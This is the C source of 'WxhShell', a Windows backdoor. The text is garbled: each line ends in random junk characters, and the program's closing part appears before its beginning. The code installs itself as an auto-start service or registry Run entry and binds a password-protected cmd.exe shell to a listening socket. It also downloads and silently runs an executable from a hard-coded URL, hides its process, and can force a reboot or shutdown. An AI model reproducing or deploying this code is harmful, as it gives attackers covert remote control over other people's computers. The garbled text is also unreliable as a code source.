    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p!V) 55J*  
    if(Boot(SHUTDOWN)) ri;r7Y9V9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ut=0~x.=<  
    else { ";58B} ki  
    closesocket(wsh); \!6t  
    ExitThread(0); .;}pU!S~R  
    } m R"9&wq  
    break; f(W,m >.;  
    } PK9Qm'W b  
  // 获取shell <C2c" =b  
  case 's': { sd7Y6?_C  
    CmdShell(wsh); HJ(=?TU  
    closesocket(wsh); csm?oUniz  
    ExitThread(0); E ,Dlaq  
    break; <4SF~i  
  } ~c'\IM  
  // 退出 H==X0  
  case 'x': { .jy)>"h0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X@G[=Rs  
    CloseIt(wsh); I%C]>ZZh  
    break; !k ;[^>  
    } __Vg/C!W  
  // 离开 vsxvHot=  
  case 'q': { "1E?3PFJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3" 8t)s  
    closesocket(wsh); F5Cqv0H V  
    WSACleanup(); %YsRm%q  
    exit(1); lb=2*dFJ1  
    break; sT@u3^>  
        } (gv=P>:  
  } i] V F'tG  
  } 1 / F<T  
&4a~6  
  // 提示信息 r< N-A?a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &*h`b{]  
} ~r7DEy|+  
  } "`H=AX0  
>I R` ]  
  return; pU[a[  
} t>fA!K%{  
aA!@;rR<yU  
// shell模块句柄 8JFnB(3xU  
int CmdShell(SOCKET sock) t;bZc s  
{ & C!g(fS  
STARTUPINFO si; EVby 9!  
ZeroMemory(&si,sizeof(si)); XL%vO#YT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sf=%l10Fk#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .CB"@.7  
PROCESS_INFORMATION ProcessInfo; LD7? .  
char cmdline[]="cmd"; w;g)Iy6x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O p!  
  return 0; <<~lV5  
} ^*j[&:d  
j58Dki->.  
// 自身启动模式 PkZf(=-X  
int StartFromService(void) 6T5A31 Q  
{ {3_Ffsg`  
typedef struct j@!BOL~?  
{ c9>8IW  
  DWORD ExitStatus; E0WrpGZ  
  DWORD PebBaseAddress; uk>q\j  
  DWORD AffinityMask; KR+aY.  
  DWORD BasePriority; 7l4InR]  
  ULONG UniqueProcessId; |~1rKzZwF  
  ULONG InheritedFromUniqueProcessId; i:NJ>b  
}   PROCESS_BASIC_INFORMATION; aH~x7N6!  
Z &ua,:5  
PROCNTQSIP NtQueryInformationProcess; 0DW'(#`  
l#< }|b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BHiw!S<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S0X.8Bq  
^$T!@ +:  
  HANDLE             hProcess; .F=<r-0  
  PROCESS_BASIC_INFORMATION pbi; MC[ `<W)u  
3/#R9J#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <%5-Pzp  
  if(NULL == hInst ) return 0; v>yGsJnV'  
, .NG.Q4f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N23+1h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iLI.e rm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1GyAQHx,  
K%.YNVHHC  
  if (!NtQueryInformationProcess) return 0; xOX*=Wv  
(PE8H~d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d[qEP6B  
  if(!hProcess) return 0; %s&E-*X  
&,6y(-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t8a@L(J$  
UH.}B3H   
  CloseHandle(hProcess); @pEO@bbg>  
EzeDShN=J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9cx!N,R t  
if(hProcess==NULL) return 0; GwU>o:g"  
vb80J<4  
HMODULE hMod; d%[`=fs]|m  
char procName[255]; n+A'XBHk  
unsigned long cbNeeded; !D|pbzQc8  
d~xU?)n)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .,BD DPFB  
$ M[}(m  
  CloseHandle(hProcess); A(!ZZ9 Wc  
nP3;<*T P0  
if(strstr(procName,"services")) return 1; // 以服务启动 /d]V{I~6  
DFZ:.6p  
  return 0; // 注册表启动 Bb2r95h}^  
} 2 |kH%  
DRFuvU+e  
// 主模块 X?k V1  
int StartWxhshell(LPSTR lpCmdLine) 4q 2=:"z4  
{ M}KM]<  
  SOCKET wsl; ")[Q4H;V  
BOOL val=TRUE; zi DlJ3]^  
  int port=0; { "@b`  
  struct sockaddr_in door; r &l*.C*  
`__?7"p )\  
  if(wscfg.ws_autoins) Install(); E?c{02fu  
Lb3K};SIV  
port=atoi(lpCmdLine); 2 vJ[vsrFv  
0qV*d  
if(port<=0) port=wscfg.ws_port; $y]||tX  
?}lpo; $  
  WSADATA data; O%q;,w{prW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J#OE}xASoA  
Ns(L1'9=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Vlxb<$5Nh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yPxG`w'  
  door.sin_family = AF_INET; h/+I-],RF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9'*ZEl^?D  
  door.sin_port = htons(port); Cx3m\ \c  
YO!7D5rV#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F~rY jAFTi  
closesocket(wsl); j[=_1~u}  
return 1; y:6'&`L  
} >a`zkl  
:Kc0ak)<n  
  if(listen(wsl,2) == INVALID_SOCKET) { A>1p]#  
closesocket(wsl); ]3 8<ly7  
return 1; ("M#R!3  
} |% YzGgp7  
  Wxhshell(wsl); BQJ`vIa  
  WSACleanup(); D` `NQ`>A  
*e"GQd?  
return 0; _2Xu1q.6~5  
_=^hnv  
} U"Ob@$ROFy  
LkZo/K~  
// 以NT服务方式启动 j?KB8oY`TP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $?JLCa  
{ ]ieA?:0Hi  
DWORD   status = 0; f/WM}Hpj  
  DWORD   specificError = 0xfffffff; ~FCSq:_  
JLV}Fw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xS\QKnG.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W<hdb!bE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E["t Ccg  
  serviceStatus.dwWin32ExitCode     = 0; { )GEgC  
  serviceStatus.dwServiceSpecificExitCode = 0; n#L2cv~Aj"  
  serviceStatus.dwCheckPoint       = 0; JW.&uV1Z  
  serviceStatus.dwWaitHint       = 0; 6UAxl3-\  
zam0(^=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0<]!G|;|  
  if (hServiceStatusHandle==0) return; Zow^bzy4  
po$ynp756  
status = GetLastError(); 4l!Yop0h  
  if (status!=NO_ERROR) Y l3[~S  
{ LsD9hb7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]! J3?G  
    serviceStatus.dwCheckPoint       = 0; EKS<s82hF&  
    serviceStatus.dwWaitHint       = 0; ~TK^aM  
    serviceStatus.dwWin32ExitCode     = status; xS-nO_t 'E  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nb9V/2c;V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OVo  
    return; ~aR='\<  
  } x^#{2}4u  
$cpQ7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kkBV;v%a  
  serviceStatus.dwCheckPoint       = 0; =28H^rK{  
  serviceStatus.dwWaitHint       = 0; W me1w\0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HNUR6H&Fta  
} w7?9e#> Z  
]4Yb$e`  
// 处理NT服务事件,比如:启动、停止 ?$&rC0 t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <l s/3!  
{ >W]"a3E  
switch(fdwControl) -:p1gg&  
{ +PXfr~ 4  
case SERVICE_CONTROL_STOP: 86 /i~s  
  serviceStatus.dwWin32ExitCode = 0; ieLN;)Iy^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c&?H8G)x  
  serviceStatus.dwCheckPoint   = 0; &OR*r7*Z  
  serviceStatus.dwWaitHint     = 0; w[vIPlSdS  
  { <m gTWv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Kf t?g  
  } \bl,_{z?  
  return; *rKv`nva5  
case SERVICE_CONTROL_PAUSE: ^^Q32XC,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e6xjlaKb  
  break; ~zC fan/  
case SERVICE_CONTROL_CONTINUE: Gz5@1CF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RIqxM  
  break; G6F['g);  
case SERVICE_CONTROL_INTERROGATE: VRP.tD  
  break; [gr[0aGBc  
}; iKH T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uk ;.Hrt.  
} [a*>@IR  
]BD5+>;  
// 标准应用程序主函数  %!h+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aYCzb7  
{ 4xn^`xf9  
a} 7KpKCD  
// 获取操作系统版本 MCpK^7]k  
OsIsNt=GetOsVer(); @gGuV$Mw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {QkH%jj  
+~.Jw#HqS  
  // 从命令行安装 a2_IF,p*?  
  if(strpbrk(lpCmdLine,"iI")) Install(); \~j(ui|  
]_xGVwem  
  // 下载执行文件 0]0M>vx u  
if(wscfg.ws_downexe) { `ViNSr):J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?o'arxCxZn  
  WinExec(wscfg.ws_filenam,SW_HIDE); VOOThdR  
} *!s?hHv  
"$;:dfrU  
if(!OsIsNt) { PH &ms  
// 如果时win9x,隐藏进程并且设置为注册表启动 $^ dk>Hj>4  
HideProc(); / hdl  
StartWxhshell(lpCmdLine); rX}==`#\  
} J0bs$  
else Yaepy3F  
  if(StartFromService()) CPM6T$_qE  
  // 以服务方式启动 3? CpylCO  
  StartServiceCtrlDispatcher(DispatchTable); R}<s~` Pl  
else zb)SlR  
  // 普通方式启动 ]J]p:Y>NL  
  StartWxhshell(lpCmdLine); j=QjvWD  
&c ~)z\$  
return 0; X^^D[U  
} TL:RB)- <  
SP1oBR"3  
N |L5Ru  
,IATJs$E  
=========================================== T`[ZNq+${  
)`7h,w J[1  
5R G5uH/-<  
^TK)_wx  
:e vc  
(2)9TpE;  
" ee` =B  
Vo8"/]_h  
#include <stdio.h> ?+L6o C.;  
#include <string.h> *j:5  
#include <windows.h> YL0RQa  
#include <winsock2.h> x"De 9SB  
#include <winsvc.h> `sC8ro@Fm  
#include <urlmon.h> lB@K;E@r8  
3_/d=ZI\  
#pragma comment (lib, "Ws2_32.lib") E zUjt)wF  
#pragma comment (lib, "urlmon.lib") ?V&a |:N9  
nEr, jd~f  
#define MAX_USER   100 // 最大客户端连接数 K6hN N$F!  
#define BUF_SOCK   200 // sock buffer Rx2|VD  
#define KEY_BUFF   255 // 输入 buffer PyE<`E  
#+nv,?@  
#define REBOOT     0   // 重启 <N&f >7  
#define SHUTDOWN   1   // 关机 DL{a8t1L  
F\<i>LWT'  
#define DEF_PORT   5000 // 监听端口 Sp:de,9@  
.?:~s8kB  
#define REG_LEN     16   // 注册表键长度 }1 ^.A84a  
#define SVC_LEN     80   // NT服务名长度 M/;g|J jM  
^Tmmx_Xw  
// 从dll定义API 6 nhB1Aei  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8;rS"!qM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {4*%\?c,n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \zyGJyy.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tgnXBWA`!  
n_glYSV!  
// wxhshell配置信息 mJT m/C  
struct WSCFG { ~=*_I4,+r  
  int ws_port;         // 监听端口 Jq)k?WS  
  char ws_passstr[REG_LEN]; // 口令 d a9 *>+[  
  int ws_autoins;       // 安装标记, 1=yes 0=no TUr}p aw_  
  char ws_regname[REG_LEN]; // 注册表键名 fsu "Lc  
  char ws_svcname[REG_LEN]; // 服务名 j]^]p; An  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p(%x&*)f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U"Oq85vY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :wm^04<i   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0T;WN$W|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Y$rVBgQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H\vO0 <X  
d0 az#Yg!  
}; AQZ\Kcr  
s<]l[Y>  
// default Wxhshell configuration "'(4l 2.  
struct WSCFG wscfg={DEF_PORT, P]GGnT(!  
    "xuhuanlingzhe", ]f?LQCTq<b  
    1, RR|Eqm3)  
    "Wxhshell", .EQFHStr  
    "Wxhshell", RJM(+5xQ|  
            "WxhShell Service", [ Ma9  
    "Wrsky Windows CmdShell Service", ]W,g>91m  
    "Please Input Your Password: ", +0DIN4Y(4  
  1, C54)eT6  
  "http://www.wrsky.com/wxhshell.exe", _u; UU$~  
  "Wxhshell.exe" B%/Pn 2  
    }; \Qn8"I83AV  
k@'.d)y0`  
// 消息定义模块 MiRB*eA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g&V.o5jIhc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xqk$[ peS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oGZ9@Y)(T  
char *msg_ws_ext="\n\rExit."; DS fKUx&  
char *msg_ws_end="\n\rQuit."; =%p{ " <  
char *msg_ws_boot="\n\rReboot..."; Mv3Ch'X[  
char *msg_ws_poff="\n\rShutdown..."; @@QU"8q  
char *msg_ws_down="\n\rSave to "; }{"\"Bn_  
I\_R& v  
char *msg_ws_err="\n\rErr!"; ;z#9>99rH  
char *msg_ws_ok="\n\rOK!"; YX(%jcj*  
~S9nLb:O{  
char ExeFile[MAX_PATH]; x4K5  
int nUser = 0; FKP^f\!M  
HANDLE handles[MAX_USER]; 8}"j#tDc  
int OsIsNt; )d~Mag+  
5I14"Qf  
SERVICE_STATUS       serviceStatus; $.kYAsZts  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Yu=^`I  
{ig@Iy~DT  
// 函数声明 03PVbDq-  
int Install(void); =Ao;[j)*!  
int Uninstall(void); TH-^tw  
int DownloadFile(char *sURL, SOCKET wsh); qCMcN<:>  
int Boot(int flag); IP3-lru  
void HideProc(void); yY+2;`CH  
int GetOsVer(void); 6dh PqL  
int Wxhshell(SOCKET wsl); Velmq'n  
void TalkWithClient(void *cs); -#r_9HQ,w  
int CmdShell(SOCKET sock); 1 /`>Eh  
int StartFromService(void); <~3 a aO  
int StartWxhshell(LPSTR lpCmdLine); KME #5=~  
;S7xJ 'H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ntT| G0E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q.Acmht#  
 E9i WGSE  
// 数据结构和表定义 x9=lN^/4  
SERVICE_TABLE_ENTRY DispatchTable[] = -:QyWw/d  
{ `#V"@Go  
{wscfg.ws_svcname, NTServiceMain}, ?cJ$=  
{NULL, NULL} jL# akV  
}; *=8)]_=f  
+2?[=g4;}  
// 自我安装 ?/\;K1c p  
int Install(void) C"}x=cK  
{ ! 9e>J  
  char svExeFile[MAX_PATH]; d dPJx<  
  HKEY key; z}%to0W  
  strcpy(svExeFile,ExeFile); 8Xr3q eh+  
K;95M^C\O*  
// 如果是win9x系统,修改注册表设为自启动 ;u%hwlo  
if(!OsIsNt) { #%5>}$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :/3`+&T^/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v#6.VUAw  
  RegCloseKey(key); M3''xrpC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |lv4X }H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z#Fw 1  
  RegCloseKey(key); & 2b f  
  return 0; R8 KL4g-d  
    } [Xrq+O,  
  } \@xnC$dd/  
} (#:Si~3  
else { b7n~z1$  
H Ow hl  
// 如果是NT以上系统,安装为系统服务 _eF*8 /z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,%C$~+xjM  
if (schSCManager!=0) (mEZ4yM  
{ IkvH8E  
  SC_HANDLE schService = CreateService (Cq-8**dY  
  ( kxP6#8*:  
  schSCManager, yU\|dL  
  wscfg.ws_svcname, %guot~S|  
  wscfg.ws_svcdisp, YP7<j*s8  
  SERVICE_ALL_ACCESS, z7CYYU?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %nIjRmqM~  
  SERVICE_AUTO_START, oeIS&O.K  
  SERVICE_ERROR_NORMAL, M]W4S4&Y=  
  svExeFile, YcI]_[  
  NULL, 5Ql6?U HD  
  NULL, <[q)2 5RL  
  NULL, A-~)7-  
  NULL, ~7m+cWC-+  
  NULL CR/LV]G  
  ); $qvNv[  
  if (schService!=0) IJ0RHDod:  
  { _+{s^n=  
  CloseServiceHandle(schService); ql8:s>1T  
  CloseServiceHandle(schSCManager); s(dox; d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k91Y"_&  
  strcat(svExeFile,wscfg.ws_svcname); 41.+3VP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }"T:z{n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a-W&/  
  RegCloseKey(key); 2vwT8/  
  return 0; GP[$&8\M  
    } ZGrV? @o,6  
  } 6hZhD1lDG^  
  CloseServiceHandle(schSCManager); #<JrSl62(K  
} G{J9Fb8  
} %H@fVWe2wT  
}X$>84s>[P  
return 1; 5ZSw0A(w  
} %8ul}}d9  
|`|b&Rhu  
// 自我卸载 ; R67a V,  
int Uninstall(void) 0QPipuP  
{ o%dtf5}(,  
  HKEY key; >ko;CQR  
."lY>(HJ  
if(!OsIsNt) { ED6H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q.N^1?(>k  
  RegDeleteValue(key,wscfg.ws_regname); WgIVhj  
  RegCloseKey(key); V=c&QPP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <sTa Xaq?  
  RegDeleteValue(key,wscfg.ws_regname); T4UY%E!0  
  RegCloseKey(key); Y}Ov`ZM!r  
  return 0; &8(2U-  
  } N5s_o0K4TU  
} f ZISwr  
} _E~uuFMn*R  
else { OS!47Z /q  
]/a?:24[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^cY5!W.q8  
if (schSCManager!=0) c(~M<nL0  
{ 5E%W;$3Pb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HiWZ?G  
  if (schService!=0) :\>UZ9h #  
  { o;O_N^_W  
  if(DeleteService(schService)!=0) { B<o i,S  
  CloseServiceHandle(schService); Ywni2-)<  
  CloseServiceHandle(schSCManager); 3w-0v"j U  
  return 0; mF_/Rhu  
  } )j$Bo{  
  CloseServiceHandle(schService); -H]svOX  
  } $Fn# b|e  
  CloseServiceHandle(schSCManager); 8xNKVj)@  
} mr;WxxO5  
} H'Po  
c"| ^Lo.  
return 1; cO <x:{`  
} ZF`ckWT:-N  
zR/ATm]9  
// 从指定url下载文件 <sPB|5Ak  
int DownloadFile(char *sURL, SOCKET wsh) Z?b. PC/  
{ ~E)I+$,  
  HRESULT hr; wU=(_S,c  
char seps[]= "/"; MXhS\vF#m  
char *token; IXH;QwR:  
char *file; :O{:;X)  
char myURL[MAX_PATH]; ]M2>%Dvw  
char myFILE[MAX_PATH]; TKmC/c  
5Ph"*Rz%  
strcpy(myURL,sURL); 4b (iGLrt0  
  token=strtok(myURL,seps); H<qR^a  
  while(token!=NULL) RpreW7B_Q*  
  { zgO?%O  
    file=token; ^{bP#f   
  token=strtok(NULL,seps); \'p)kDf  
  } Wl*\kQ}U  
rsIjpPa  
GetCurrentDirectory(MAX_PATH,myFILE); ^RY_j>i  
strcat(myFILE, "\\"); UgUW4x'+  
strcat(myFILE, file); jW6@U%[!b  
  send(wsh,myFILE,strlen(myFILE),0); wOOPuCw?  
send(wsh,"...",3,0); kt@+UK."  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h rZ\ O?j  
  if(hr==S_OK) :]]amziP&  
return 0; $k!t&G  
else Zw }7vD0  
return 1; ld3,)ZY  
oc15!M3$  
} 2;q6~Y,  
D6 M:pIN*  
// 系统电源模块 f[X>?{q  
int Boot(int flag) EswM#D 9(4  
{ [6c{t  
  HANDLE hToken; SmRU!C$A  
  TOKEN_PRIVILEGES tkp; ;A|6&~E0G  
+x WT)h/  
  if(OsIsNt) { (;s \Ip0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r[hfN2,#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d 29]R.  
    tkp.PrivilegeCount = 1; |#S!qnXB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f+)F-3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q'W`t>2T  
if(flag==REBOOT) { {i=qx#2X?H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `; `34t_)  
  return 0; Hiq9Jn uv(  
} mxXQBmW  
else { SX;FBO(p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wK,t q  
  return 0; h5Z%|J>;0  
} Yc9 M6=E^  
  } te:@F]A  
  else { y<5s)OehG  
if(flag==REBOOT) { uD+;5S]us  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]A_)&`"Cb  
  return 0; z`/v}'d[X  
} ."MBKyg6  
else { ] qrO"X=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )[/+j"F   
  return 0; ov?>ALRg  
} 7=JiL=  
} -]N/P{=L  
$ biCm$a  
return 1; vuD tEz  
} r R."_Z2  
hLBX,r)u  
// win9x进程隐藏模块 }|x]8zL8G  
void HideProc(void) (0Y6tcV]R  
{ d,$[633It}  
Vls*fY:W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Um*{~=;u  
  if ( hKernel != NULL ) M34*$>bk  
  { Z EG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u< ):gI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k8w8I$QEM  
    FreeLibrary(hKernel); (/Nw  
  } z<)?8tAgq  
TG'A'wXxy  
return; ;N i+TS  
} b`1P%OjC  
03# r F@e  
// 获取操作系统版本 cA_v*`YL  
int GetOsVer(void) lS}5bcjR=k  
{ cz.-cuD[iD  
  OSVERSIONINFO winfo; @1rF9< 4g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R_(A&,  
  GetVersionEx(&winfo); PF4Cs3m/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "&7v.-Y k(  
  return 1; %vMi kibI  
  else YsLEbue   
  return 0; #K  ]k  
} IUI >/87u  
3dC8MKPq0  
// 客户端句柄模块  M)Y`u  
int Wxhshell(SOCKET wsl) tz2`X V{  
{ tR*J M$T  
  SOCKET wsh; fU$zG"a_  
  struct sockaddr_in client; xpUaFb  
  DWORD myID; -<qci3Ba}  
U JY`P4(  
  while(nUser<MAX_USER) $T~|@XH  
{ $UKV2c  
  int nSize=sizeof(client); :h?Zg(l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \9<aCJxN  
  if(wsh==INVALID_SOCKET) return 1; mM>{^%2Q:  
#j'O rD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hCc I >[H5  
if(handles[nUser]==0) kE/>Ys@w  
  closesocket(wsh); C S+6!F]  
else *h$Dh5%P  
  nUser++; .~C*7_  
  } c7S<ex,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f |aO9w   
/ [:@j+n\  
  return 0; 7@MVInV9  
} oO!@s`  
S+_}=25  
// 关闭 socket tOS%.0W5J  
void CloseIt(SOCKET wsh) HuCH`|v-  
{ _! \X>rfz  
closesocket(wsh); !PJ;d)\T  
nUser--; 7*uG9iX  
ExitThread(0); ^uC1\!Q1  
} ZA+$ZU^  
J?u",a]|H"  
// 客户端请求句柄 +#n5w8T)M  
void TalkWithClient(void *cs) c.,eIiL  
{ sl>4O]N  
mI"`.  
  SOCKET wsh=(SOCKET)cs; A'p"FYlCW  
  char pwd[SVC_LEN]; ]#TL~u[  
  char cmd[KEY_BUFF]; Yw4c`MyL  
char chr[1]; {WT"\Xj>B?  
int i,j; }G_ i+  
lzw3 x  
  while (nUser < MAX_USER) { w=y!|F  
hP,SvN#!2  
if(wscfg.ws_passstr) { [K x_%Le  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0}-&v+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zZGPA j  
  //ZeroMemory(pwd,KEY_BUFF); @\b*a]CV  
      i=0; !uy?]l  
  while(i<SVC_LEN) { M"ZP s   
AZxOq !B  
  // 设置超时 f!eC|:D  
  fd_set FdRead; pNCk~OM  
  struct timeval TimeOut; !JJCG  
  FD_ZERO(&FdRead); ey@y?X=  
  FD_SET(wsh,&FdRead); 2j*\n|"}{  
  TimeOut.tv_sec=8; XLI'f$w&  
  TimeOut.tv_usec=0; i%D/@$\D6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vUY?Eb[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A<QYW,:|  
)k- 7mwkZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TdG[b1xN  
  pwd=chr[0]; u7<B*d:  
  if(chr[0]==0xd || chr[0]==0xa) { E&jngxlN  
  pwd=0; m RxL%!  
  break; >{$ ;O  
  } qXCl6Yo8  
  i++; :Dw;RcZQ  
    } JP S L-j  
45W:b/n\  
  // 如果是非法用户,关闭 socket 45> w=O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (;+ JM*c2N  
} [p_R?2uT  
$BwWhR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UdT ~ h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E _/v$  
Y[X5S{H`wj  
while(1) { 0+m"eGwTm  
l92#F*  
  ZeroMemory(cmd,KEY_BUFF); 'w^1re= R  
p%G4Js.  
      // 自动支持客户端 telnet标准   ;XZ5r|V}  
  j=0; TJ ;4QL  
  while(j<KEY_BUFF) { k;#$Oxa>t=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v$owG-_><  
  cmd[j]=chr[0]; :DR G=-M  
  if(chr[0]==0xa || chr[0]==0xd) { rX{QgyY&  
  cmd[j]=0; WB"$NYB  
  break; tlA4oVII  
  } N"2P&Ho]  
  j++; hm&{l|u{RU  
    } Qf$0^$ "  
Yono8M;9*  
  // 下载文件 ~BaU2S@y  
  if(strstr(cmd,"http://")) { <~u.:x@ R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b=Zg1SqV  
  if(DownloadFile(cmd,wsh)) WIQt5=-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 69`9!heu  
  else H7H'0C  
